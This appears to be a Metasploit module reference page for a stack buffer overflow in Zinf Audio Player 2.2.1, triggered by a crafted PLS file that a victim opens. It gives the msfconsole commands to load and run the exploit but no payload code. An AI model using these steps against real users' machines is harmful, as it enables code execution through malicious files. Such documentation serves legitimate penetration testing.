Zinf Audio Player 2.2.1 (PLS File) Stack Buffer Overflow

Description

This module exploits a stack-based buffer overflow in the Zinf Audio Player 2.2.1. An attacker must send the file to victim and the victim must open the file. Alternatively it may be possible to execute code remotely via an embedded PLS file within a browser, when the PLS extension is registered to Zinf. This functionality has not been tested in this module.

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use exploit/windows/fileformat/zinfaudioplayer221_pls
msf exploit(zinfaudioplayer221_pls) > show targets
    ...targets...
msf exploit(zinfaudioplayer221_pls) > set TARGET < target-id >
msf exploit(zinfaudioplayer221_pls) > show options
    ...show and set options...
msf exploit(zinfaudioplayer221_pls) > exploit

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
